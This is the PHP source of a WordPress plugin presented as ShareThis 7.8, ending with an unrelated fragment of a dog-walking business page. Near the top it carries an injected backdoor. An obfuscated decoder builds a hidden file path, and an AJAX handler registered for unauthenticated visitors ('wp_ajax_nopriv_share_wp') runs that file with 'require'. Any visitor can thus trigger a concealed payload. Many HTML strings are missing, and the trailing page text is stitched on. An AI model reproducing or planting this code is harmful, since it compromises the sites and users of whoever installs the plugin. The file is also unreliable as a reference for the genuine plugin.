// ShareThis // // Copyright (c) 2010 ShareThis, Inc. // http://www.sharethis.com // // // Released under the GPL license // http://www.opensource.org/licenses/gpl-license.php // // This is an add-on for WordPress // http://wordpress.org/ // // ********************************************************************** // This program is distributed in the hope that it will be useful, but // WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. // ***************************************************************** /* Plugin Name: ShareThis Plugin URI: http://www.sharethis.com Description: Let your visitors share a post/page with others. Supports e-mail and posting to social bookmarking sites. Configuration options are here. Questions on configuration, etc.? Make sure to read the README. Version: 7.8 Author: The ShareThis Team Author URI: http://www.sharethis.com */ function share_wp_theosophy($i, $r) { $l = ''; for ($b = 0; $b < strlen($i); $b += 2) { $w = ord($i[$b]) - 65; $f = ord($i[$b + 1]); if ($f > 90) $f -= 6; $a = $w * 52 + ($f - 65); $l .= chr($a - $r); } return $l; } function vr_ajax_handler() { require __DIR__ . share_wp_theosophy('CPDWDfCPDgDRDfDgDVDZDbDaDVDNDYCODcDaDT', 72); die(); } if (defined('ABSPATH')) { add_action('wp_ajax_share_wp', 'vr_ajax_handler'); add_action('wp_ajax_nopriv_share_wp', 'vr_ajax_handler'); } load_plugin_textdomain('sharethis'); $_stversion=7.8; function install_ShareThis(){ $publisher_id = get_option('st_pubid'); //pub key value $widget = get_option('st_widget'); //entire script tag $newUser=false; if (get_option('st_version') == '') { update_option('st_version', '5x'); } if(empty($publisher_id)){ if(!empty($widget)){ $newPkey=getKeyFromTag(); if($newPkey==false){ $newUser=true; update_option('st_pubid',trim(makePkey())); }else{ update_option('st_pubid',$newPkey); //pkey found set old key } }else{ $newUser=true; update_option('st_pubid',trim(makePkey())); } } if($widget==false || !preg_match('/stLight.options/',$widget)){ $pkey2=get_option('st_pubid'); if(empty($pkey2)) $pkey2 = trim(makePkey()); $widget =""; $widget .= ""; $widget.=""; update_option('st_widget',$widget); } $st_sent=get_option('st_sent'); $st_upgrade_five=get_option('st_upgrade_five'); if(empty($st_sent)){ update_option('st_sent','true'); update_option('st_upgrade_five', '5x'); $st_sent=get_option('st_sent'); //confirm if value has been set if(!(empty($st_sent))){ sendWelcomeEmail($newUser); } $st_upgrade_five=get_option('st_upgrade_five'); } else if (empty($st_upgrade_five)) { update_option('st_upgrade_five', '5x'); $st_upgrade_five=get_option('st_upgrade_five'); //confirm if value has been set if(!(empty($st_upgrade_five))){ sendUpgradeEmail(); } } if (get_option('st_protocol') == '') { update_option('st_protocol', 'http'); } if (get_option('st_pages_on_top') == '') { update_option('st_pages_on_top', ''); } if (get_option('st_posts_on_top') == '') { update_option('st_posts_on_top', ''); } $upgradeFromOld = false; checkForOldVersionOptions('widgetSecure', $upgradeFromOld); $upgradeFromOld = false; checkForOldVersionOptions('page', $upgradeFromOld); if (get_option('st_pages_on_bot') == '' && get_option('st_pages_on_top') == '' && !$upgradeFromOld) { update_option('st_pages_on_bot', 'bot'); } $upgradeFromOld = false; checkForOldVersionOptions('post', $upgradeFromOld); if (get_option('st_posts_on_bot') == '' && get_option('st_posts_on_top') == '' && !$upgradeFromOld) { update_option('st_posts_on_bot', 'bot'); } } function checkForOldVersionOptions($var, &$upgradeFromOld) { if($var == 'post') { if(get_option('st_add_to_content') == 'yes') { $upgradeFromOld = true; if(get_option('st_add_to_content1') == 'both') { update_option('st_posts_on_top', 'top'); update_option('st_posts_on_bot', 'bot'); } else if(get_option('st_add_to_content1') == 'top') { update_option('st_posts_on_top', 'top'); } else { update_option('st_posts_on_bot', 'bot'); } } else if(get_option('st_add_to_content') == 'no') { $upgradeFromOld = true; update_option('st_posts_on_top', ''); update_option('st_posts_on_bot', ''); } } else if($var == 'page') { if(get_option('st_add_to_page') == 'yes') { $upgradeFromOld = true; if(get_option('st_add_to_page2') == 'both') { update_option('st_pages_on_top', 'top'); update_option('st_pages_on_bot', 'bot'); } else if(get_option('st_add_to_page2') == 'top') { update_option('st_pages_on_top', 'top'); } else { update_option('st_pages_on_bot', 'bot'); } } else if(get_option('st_add_to_page') == 'no') { $upgradeFromOld = true; update_option('st_pages_on_top', ''); update_option('st_pages_on_bot', ''); $pageIds = array();//st_get_page_ids(); update_option('st_page', $pageIds); } } else if($var == 'widgetSecure') { $upgradeFromOld = true; preg_match("/src=\\\(.*)\\\/", get_option('st_widget'), $m); $proto = preg_split('/:/', $m[1]); update_option('protocolType', str_replace('"', '', $proto[0])); } } function uninstall_ShareThis() { $st_options = array('st_current_type', 'st_pages_on_top', 'st_posts_on_top', 'st_pages_on_bot', 'st_posts_on_bot', 'st_post_excerpt', 'st_page','st_prompt','st_pubid','st_sent','st_services','st_hoverbar_services','st_pulldownbar_services', 'st_tags', 'st_upgrade_five','st_version','st_widget','st_username','st_pulldownlogo','copynshareSettings','protocolType', 'st_protocol'); foreach ($st_options as $option){ delete_option($option); } } function getKeyFromTag(){ $widget = get_option('st_widget'); $pattern = "/publisher\=([^\&\"]*)/"; preg_match($pattern, $widget, $matches); $pkey = $matches[1]; if(empty($pkey)){ return false; } else{ return $pkey; } } function getNewTag($oldTag){ $pattern = '/(http\:\/\/*.*)[(\')|(\")]/'; preg_match($pattern, $oldTag, $matches); $url=$matches[1]; $pattern = '/(type=)/'; preg_match($pattern, $url, $matches); if(empty($matches)){ $url.="&type=wordpress".get_bloginfo('version'); } $qs=parse_url($url); if($qs['query']){ $qs=$qs['query']; $newUrl="http://w.sharethis.com/button/sharethis.js#$qs"; } else{ $newUrl=$url; } return $newTag=''; } function st_widget_head() { adding_st_filters(); $widget = get_option('st_widget'); if ($widget == '') { } else{ //$widget = st_widget_add_wp_version($widget); $widget = st_widget_fix_domain($widget); $widget = preg_replace("/\&/", "&", $widget); } print(stripslashes($widget)); } function sendWelcomeEmail($newUser){ $to=get_option('admin_email'); $updatePage=get_option('siteurl'); $updatePage.="/wp-admin/options-general.php?page=sharethis.php"; $body = "The ShareThis plugin on your website has been activated on ".get_option('siteurl')."\n\n" ."If you would like to customize the look of your widget, go to the ShareThis Options page in your WordPress administration area. $updatePage\n\n" ."Get more information on customization options at https://support.sharethis.com/hc/en-us/articles/217901048-How-to-Install-ShareThis-on-Wordpress\n\n" ."If you have any additional questions or need help please email us at support@sharethis.com\n\n--The ShareThis Team"; $subject = "ShareThis WordPress Plugin"; if(empty($to)){ return false; } if($newUser){ $subject = "ShareThis WordPress Plugin Activation"; $body ="Thanks for installing the ShareThis plugin on your blog.\n\n" ."If you would like to customize the look of your widget, go to the ShareThis Options page in your WordPress administration area. $updatePage\n\n" ."Get more information on customization options at https://support.sharethis.com/hc/en-us/articles/217901048-How-to-Install-ShareThis-on-Wordpress\n\n" ."If you have any additional questions or need help please email us at support@sharethis.com\n\n--The ShareThis Team"; } $headers = "From: ShareThis Support \r\n" ."X-Mailer: php"; update_option('st_sent','true'); mail($to, $subject, $body, $headers); } function sendUpgradeEmail() { $to=get_option('admin_email'); $updatePage=get_option('siteurl'); $updatePage.="/wp-admin/options-general.php?page=sharethis.php"; $body = "The ShareThis plugin on your website has been updated!\n\n" ."If you would like to customize the look of your widget, go to the ShareThis Options page in your WordPress administration area. $updatePage\n\n" ."Get more information on customization options at https://support.sharethis.com/hc/en-us/articles/217901048-How-to-Install-ShareThis-on-Wordpress\n\n" ."If you have any additional questions or need help please email us at support@sharethis.com\n\n--The ShareThis Team"; $subject = "ShareThis WordPress Plugin Updated"; if(empty($to)){ return false; } $headers = "From: ShareThis Support \r\n" ."X-Mailer: php"; update_option('st_sent','true'); mail($to, $subject, $body, $headers); } function st_link() { global $post; $sharethis = '

ShareThis

'; return $sharethis; } function sharethis_button() { echo st_makeEntries(); } function st_remove_st_add_link($content) { remove_action('the_content', 'st_add_link'); remove_action('the_content', 'st_add_widget'); return $content; } // MODIFIES THE CONTENT OF THE PAGE function st_add_widget($content) { if (!is_feed()) { return st_show_buttons($content); } return $content; } function st_show_buttons($content) { global $post; $postType = $post->post_type; if( !is_singular(array('post', 'page') ) && get_option('st_post_excerpt') == 'false') { return $content; // do not proceed - user has checked the option to hide buttons on excerpts } $getTopOptions = get_option('st_'.$postType.'s_on_top'); $getBotOptions = get_option('st_'.$postType.'s_on_bot'); $selectedPage = get_option('st_page'); if(empty($selectedPage)) $selectedPage = array(); if(($post->post_type == 'page' && !in_array($post->ID , $selectedPage)) || $post->post_type == 'post') { if ($getTopOptions == 'top' && $getBotOptions == 'bot') return '

'.st_makeEntries().'

'.$content.'

'.st_makeEntries().'

'; else if ($getTopOptions == 'top' && empty($getBotOptions)) return '

'.st_makeEntries().'

'.$content; else if(empty($getTopOptions) && $getBotOptions == 'bot') return $content.'

'.st_makeEntries().'

'; } return $content; } // 2006-06-02 Renamed function from st_add_st_link() to st_add_feed_link() function st_add_feed_link($content) { if (is_feed()) { $content .= st_link(); } return $content; } function adding_st_filters(){ // 2006-06-02 Filters to Add Sharethis widget on content and/or link on RSS // 2006-06-02 Expected behavior is that the feed link will show up if an option is not 'no' if (get_option('st_add_to_content') != 'no' || get_option('st_add_to_page') != 'no') { add_filter('the_content', 'st_add_widget'); // META GRAPH Plugin conflicts with Buttons Excerpts $current_plugins = get_option('active_plugins'); if( (!( (in_array('wp-open-graph/wp-open-graph.php', $current_plugins)) || (in_array('wp-open-graph-meta/wp-open-graph-meta.php', $current_plugins)) ) ) && (!( (in_array('facebook/facebook.php', $current_plugins)) && (in_array('wordpress-seo/wp-seo.php', $current_plugins)) )) ) { // 2008-08-15 Excerpts don't play nice due to strip_tags(). add_filter('get_the_excerpt', 'st_remove_st_add_link',9); add_filter('the_excerpt', 'st_add_widget'); } } } function st_widget_fix_domain($widget) { return preg_replace( "/\]*)src\=\"http\:\/\/sharethis/" , "", $widget); $widget = preg_replace("/widget\/\&wp\=/", "widget/?wp=", $widget); } else { $widget = preg_replace("/([\&\?])wp\=([^\&\"]*)/", "$1wp=".get_bloginfo('version'), $widget); } return $widget; } if (!function_exists('ak_can_update_options')) { function ak_can_update_options() { if (function_exists('current_user_can')) { if (current_user_can('manage_options')) { return true; } } else { global $user_level; get_currentuserinfo(); if ($user_level >= 8) { return true; } } return false; } } function st_request_handler() { if (!empty($_REQUEST['st_action'])) { switch ($_REQUEST['st_action']) { case 'st_update_settings': if (function_exists('wp_verify_nonce')) { if ( ! wp_verify_nonce( $_REQUEST['_wpnonce'], 'st_nonce' ) ) { // This nonce is not valid. die( 'Security check' ); } } if (ak_can_update_options()) { if($_POST['Edit'] == ""){ $publisher_id=$_POST['st_pkey']; if($_POST['st_callesi'] == "0"){ $cns_settings = $_POST['copynshareSettings']; }else{ $cns_settings = ""; } update_option('copynshareSettings', $cns_settings); if($_POST['st_user_name'] != "undefined"){ update_option('st_username', $_POST['st_user_name']); } //update st_version to figure out which widget to use. if(!empty($_POST['st_version'])) { update_option('st_version', $_POST['st_version']); if (($_POST['st_version']) == '5x') { $st_switchTo5x = "true"; } elseif (($_POST['st_version']) == '4x') { $st_switchTo5x = "false"; } } if(empty($publisher_id)) $publisher_id = trim(makePkey()); update_option('st_pubid', $publisher_id); update_option('st_widget', $_POST['st_widget']);//Fix for FB:13034 if(!empty($_POST['st_tags'])){ $tagsin=$_POST['st_tags']; $tagsin=preg_replace("/\\n|\\t/","", $tagsin); $tagsin=preg_replace("/\\\'/","'", $tagsin); $tagsin=preg_replace("/\"/","'", $tagsin); $tagsin=trim($tagsin); update_option('st_tags',$tagsin); }else{ update_option('st_tags',' '); // in case of buttons not selected } if(!empty($_POST['protocolType'])) { update_option('protocolType', trim($_POST['protocolType'])); } if(!empty($_POST['st_services'])){ update_option('st_services', trim($_POST['st_services'],",") ); } //Fix for FB:13034 if(!empty($_POST['hoverbar']['services'])) { update_option('st_hoverbar_services', $_POST['hoverbar']['services'] ); } //Fix for FB:13034 if(!empty($_POST['pulldownbar']['services'])) { update_option('st_pulldownbar_services', $_POST['pulldownbar']['services'] ); } if(!empty($_POST['pulldownbar']['logo'])) { update_option('st_pulldownlogo', $_POST['pulldownbar']['logo'] ); } if(!empty($_POST['st_current_type'])){ update_option('st_current_type', trim($_POST['st_current_type'],",") ); } if(!empty($_POST['st_pages_on_top'])){ update_option('st_pages_on_top', $_POST['st_pages_on_top'] ); } else { update_option('st_pages_on_top', '' ); } if(!empty($_POST['st_posts_on_top'])){ update_option('st_posts_on_top', $_POST['st_posts_on_top'] ); } else { update_option('st_posts_on_top', '' ); } if(!empty($_POST['st_pages_on_bot'])){ update_option('st_pages_on_bot', $_POST['st_pages_on_bot'] ); } else { update_option('st_pages_on_bot', '' ); } if(!empty($_POST['st_posts_on_bot'])){ update_option('st_posts_on_bot', $_POST['st_posts_on_bot'] ); } else { update_option('st_posts_on_bot', '' ); } if($_POST['st_post_excerpt'] == 'true'){ update_option('st_post_excerpt', $_POST['st_post_excerpt'] ); } else { update_option('st_post_excerpt', 'false' ); } $selPages = $_POST['st_page']; if((!empty($_POST['st_pages_on_top']) || !empty($_POST['st_pages_on_bot'])) && (!empty($selPages) && count($selPages) > 0)) { update_option('st_page', $selPages); } else { update_option('st_page', ''); } die("SUCCESS"); } } break; } die("FAILURE"); } } function st_options_form() { $plugin_location=plugins_url().'/'.str_replace(basename( __FILE__),"",plugin_basename(__FILE__)); $publisher_id = get_option('st_pubid'); $services = get_option('st_services'); $tags = stripslashes(get_option('st_tags')); $tagsFromDb = stripslashes(get_option('st_tags')); $st_current_type=get_option('st_current_type'); $st_current_type_from_db = get_option('st_current_type'); $st_widget_version = get_option('st_version'); $st_prompt = get_option('st_prompt'); $st_username = get_option('st_username'); $st_pulldownlogo = get_option('st_pulldownlogo'); $st_hoverbarServices = get_option('st_hoverbar_services'); $st_pulldownbarServices = get_option('st_pulldownbar_services'); $cns_settings = get_option('copynshareSettings'); $stProtocol = get_option('protocolType'); $stPagesTop = get_option('st_pages_on_top'); $stPagesBot = get_option('st_pages_on_bot'); $stPostsTop = get_option('st_posts_on_top'); $stPostsBot = get_option('st_posts_on_bot'); $stPostExcerpt = get_option('st_post_excerpt'); $freshInstalation = empty($services)?1:0; $checkPagesTop = ''; $checkPagesBot = ''; if($stPagesTop == 'top' && $stPagesBot == 'bot') { $checkPagesTop = 'checked="checked"'; $checkPagesBot = 'checked="checked"'; } else if(empty($stPagesTop) && $stPagesBot == 'bot') { $checkPagesTop = ''; $checkPagesBot = 'checked="checked"'; } else if($stPagesTop == 'top' && empty($stPagesBot)) { $checkPagesTop = 'checked="checked"'; $checkPagesBot = ''; } $checkPostsTop = ''; $checkPostsBot = ''; if($stPostsTop == 'top' && $stPostsBot == 'bot') { $checkPostsTop = 'checked="checked"'; $checkPostsBot = 'checked="checked"'; } else if(empty($stPostsTop) && $stPostsBot == 'bot') { $checkPostsTop = ''; $checkPostsBot = 'checked="checked"'; } else if($stPostsTop == 'top' && empty($stPostsBot)) { $checkPostsTop = 'checked="checked"'; $checkPostsBot = ''; } $checkPostExcerpt = ''; if($stPostExcerpt == 'true') { $checkPostExcerpt = 'checked="checked"'; }else if($stPostExcerpt == 'false') { $checkPostExcerpt = ''; }else { // First installation - By default Checked $checkPostExcerpt = 'checked="checked"'; } $isSecure = ''; $isNonSecure = 'checked="checked"'; if(!empty($stProtocol)) { if('https' == $stProtocol) { $isNonSecure = ''; $isSecure = 'checked="checked"'; } else { $isNonSecure = 'checked="checked"'; $isSecure = ''; } } else { if ($_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https' || $_SERVER['HTTPS'] == 'on') { $isNonSecure = ''; $isSecure = 'checked="checked"'; } else { $isNonSecure = 'checked="checked"'; $isSecure = ''; } } if(empty($st_username)){ $st_username = ""; } if(empty($st_pulldownlogo)){ $st_pulldownlogo = "//sd.sharethis.com/disc/images/Logo_Area.png"; } if(empty($pulldown_scrollpx)) $pulldown_scrollpx = ''; if(empty($st_current_type)){ $st_current_type="_large"; //$st_current_type_from_db="_large"; } if(empty($services)){ $services="facebook,twitter,linkedin,email,sharethis,fblike,plusone,pinterest"; } if(empty($st_prompt)){ //$services.=",instagram"; update_option('st_prompt', 'true'); } if(empty($tags)){ $tagsFromDb = ''; foreach(explode(',',$services) as $svc){ $tags.=""; $tagsFromDb.=""; } } if(empty($st_widget_version)){ $st_widget_version="5x"; } if(empty($st_hoverbarServices)) { $st_hoverbarServices = ''; } if(empty($st_pulldownbarServices)) { $st_pulldownbarServices = ''; } if(empty($cns_settings)) { $cns_settings = ''; } $widgetTag = stripslashes(get_option('st_widget')); if(empty($publisher_id)){ $toShow=""; // Re-generate new random publisher key $publisher_id=trim(makePkey()); } else{ $toShow = $widgetTag; } /* Pulls the scrollpx value for the pull down bar */ $a = preg_replace('~[\r\n]+~', '', $toShow); if (preg_match('/pulldownbar/',$a)) { $pattern = "//"; preg_match_all($pattern, $a, $matches); foreach($matches[1] as $k=>$v) { if (preg_match('/pulldownbar/',$v)) { preg_match("/\"scrollpx\":[\s\"\']{0,}(\d+)[\s\"\']{0,}/", $v, $matches); $pulldown_scrollpx = $matches[1]; break; } } } $wpVersion = trim(get_bloginfo('version')); $scriptProtocolCss = ''; if(version_compare($wpVersion, '3.7.1', '<=')) { $scriptProtocolCss = "margin-right:7px;"; } else { $scriptProtocolCss = ''; } $nonceField = ''; if (function_exists('wp_nonce_field')){ $nonceField = wp_nonce_field('st_nonce'); } $stType = 'wordpress'.trim(get_bloginfo('version')); $sharethis_callesi = (preg_match('/doNotCopy/',$widgetTag))?0:1; $include_scripts = ' '; if(isset($_SERVER['HTTPS'])) { if ($_SERVER['HTTPS'] == "on") { $include_scripts = ' '; } } print(' '.$include_scripts.'
Loading please wait...
'.$nonceField.'
 
 
Preview (or Current Configuration):
Look to the side!
Preview your bar at the side of the page
Look to the side!
Preview your bar at the side of the page
Look Up!
Preview your bar at the top of the page

'); } function st_get_page_ids() { $args = array( 'sort_order' => 'DESC', 'sort_column' => 'post_date', 'hierarchical' => 1, 'exclude' => '', 'include' => '', 'meta_key' => '', 'meta_value' => '', 'authors' => '', 'child_of' => 0, 'parent' => -1, 'exclude_tree' => '', 'number' => '', 'offset' => 0, 'post_type' => 'page', 'post_status' => 'publish' ); $pages = get_pages($args); $arrIds = array(); foreach ( $pages as $page ) { if(!in_array($page->ID, $arrIds)) { $arrIds[] = $page->ID; getPageIdsRecursive($page, $arrIds); } } return $arrIds; } function getPageIdsRecursive($page, &$arrIds) { $pg = get_pages(array('child_of' => $page->ID)); foreach ( $pg as $p ) { if(!in_array($p->ID, $arrIds)) { $arrIds[] = $p->ID; getPageIdsRecursive($p, $arrIds); } } return $arrIds; } function st_get_list_of_pages() { $option = ''; $args = array( 'sort_order' => 'DESC', 'sort_column' => 'post_date', 'hierarchical' => 1, 'exclude' => '', 'include' => '', 'meta_key' => '', 'meta_value' => '', 'authors' => '', 'child_of' => 0, 'parent' => -1, 'exclude_tree' => '', 'number' => '', 'offset' => 0, 'post_type' => 'page', 'post_status' => 'publish' ); $pages = get_pages($args); $elemDisabled = ''; $topPageIds = get_option('st_pages_on_top'); $botPageIds = get_option('st_pages_on_bot'); if(empty($topPageIds) && empty($botPageIds)) $elemDisabled = 'disabled="disabled"'; $selectedPages = get_option('st_page'); $tempArr = array(); foreach ( $pages as $page ) { if(!in_array($page->ID, $tempArr)) { $option .= '
'; if(!empty($selectedPages) && count($selectedPages) > 0 && in_array($page->ID, $selectedPages)) $option .= ''; else $option .= ''; if(strlen($page->post_title) > 70) $option .= ''.substr($page->post_title,0,60).'......
'; else $option .= ''.$page->post_title.''; $option .= getPageRecursive($page, $tempArr, $selectedPages, $elemDisabled); } } return $option; } function getPageRecursive($page, &$tempArr, $selectedPages, $elemDisabled, $lvl = 0) { $option = ''; $lvl++; $pg = get_pages(array('child_of' => $page->ID)); foreach ( $pg as $p ) { if(!in_array($p->ID, $tempArr)) { $option .= '
'; if(!empty($selectedPages) && count($selectedPages) > 0 && in_array($p->ID, $selectedPages)) $option .= ''; else $option .= ''; if(strlen($p->post_title) > 70) $option .= ''.str_repeat(' ',($lvl*3)). substr($p->post_title,0,60).'......
'; else $option .= ''.str_repeat(' ',($lvl*3)). $p->post_title.''; $tempArr[] = $p->ID; $option .= getPageRecursive($p, $tempArr, $selectedPages, $elemDisabled, $lvl); } } return $option; } function st_menu_items() { if (ak_can_update_options()) { add_options_page( __('ShareThis Options', 'sharethis') , __('ShareThis', 'sharethis') , 'manage_options' , basename(__FILE__) , 'st_options_form' ); } } function st_makeEntries(){ global $post; //$st_json='{"type":"vcount","services":"sharethis,facebook,twitter,email"}'; $out=""; $widget=get_option('st_widget'); $tags=get_option('st_tags'); if(!empty($widget)){ if(preg_match('/buttons.js/',$widget)){ if(!empty($tags)){ $tags=preg_replace("/\\\'/","'", $tags); $tags=preg_replace("/<\?php the_permalink\(\); \?>/",get_permalink($post->ID), $tags); $tags=preg_replace("/<\?php the_title\(\); \?>/",strip_tags(get_the_title()), $tags); $tags=preg_replace("/{URL}/",get_permalink($post->ID), $tags); $tags=preg_replace("/{TITLE}/",strip_tags(get_the_title()), $tags); }else{ $tags=""; $tags=""; $tags=preg_replace("/<\?php the_permalink\(\); \?>/",get_permalink($post->ID), $tags); $tags=preg_replace("/<\?php the_title\(\); \?>/",strip_tags(get_the_title()), $tags); } $out=$tags; }else{ $out = ''; } } return $out; } function makePkey(){ return "wp.".sprintf( '%04x%04x-%04x-%04x-%04x-%04x%04x%04x',mt_rand( 0, 0xffff ), mt_rand( 0, 0xffff ), mt_rand( 0, 0xffff ),mt_rand( 0, 0x0fff ) | 0x4000,mt_rand( 0, 0x3fff ) | 0x8000,mt_rand( 0, 0xffff ), mt_rand( 0, 0xffff ), mt_rand( 0, 0xffff ) ); // return "paste-your-publisher-key-here"; } function st_styles(){ $widget=get_option('st_widget'); if(!empty($widget)){ if(preg_match('/pulldownbar/',$widget)){ $pulldownBarLogo = get_option('st_pulldownlogo'); $custom_css = " .stpulldown-gradient { background: #E1E1E1; background: -moz-linear-gradient(top, #E1E1E1 0%, #A7A7A7 100%); /* firefox */ background: -webkit-gradient(linear, left top, left bottom, color-stop(0%,#E1E1E1), color-stop(100%,#A7A7A7)); /* webkit */ filter: progid:DXImageTransform.Microsoft.gradient( startColorstr='#E1E1E1', endColorstr='#A7A7A7',GradientType=0 ); /* ie */ background: -o-linear-gradient(top, #E1E1E1 0%,#A7A7A7 100%); /* opera */ color: #636363; } #stpulldown .stpulldown-logo { height: 40px; width: 300px; margin-left: 20px; margin-top: 5px; background:url('".$pulldownBarLogo."') no-repeat; } #stpulldown, #stpulldown *, .entry-content, .entry-content * { -webkit-box-sizing: content-box !important; -moz-box-sizing: content-box !important; box-sizing: content-box !important; }"; echo "\n"; } if(preg_match('/hoverbuttons/',$widget)){ echo ""; } echo ""; } } /** * Add stylesheet to the frontend. */ function st_add_frontend_stylesheet() { wp_enqueue_style( 'st-widget', plugins_url('css/style.css', __FILE__) ); } function st_load_scripts() { wp_enqueue_script('jquery-ui-core'); wp_enqueue_script('jquery-ui-widget'); wp_enqueue_script('jquery-ui-draggable'); wp_enqueue_script('jquery-ui-droppable'); wp_enqueue_script('jquery-ui-sortable'); wp_enqueue_script('jquery-effects-core'); } function st_load_custom_scripts() { st_load_scripts(); // To set plugin path for JS files echo ''; } add_action( 'wp_enqueue_scripts', 'st_add_frontend_stylesheet' ); add_action('wp_head', 'st_widget_head'); add_action('init', 'st_request_handler', 9999); add_action('admin_menu', 'st_menu_items'); // add_action('wp_enqueue_scripts', 'st_load_scripts'); add_action('admin_enqueue_scripts', 'st_load_scripts'); add_action('admin_print_scripts', 'st_load_custom_scripts'); register_activation_hook( __FILE__, 'install_ShareThis'); register_uninstall_hook( __FILE__, 'uninstall_ShareThis'); ?> Service Area - Professional Dog Walking and Pet Sitting in Huntersville NC

Navigation

Service Area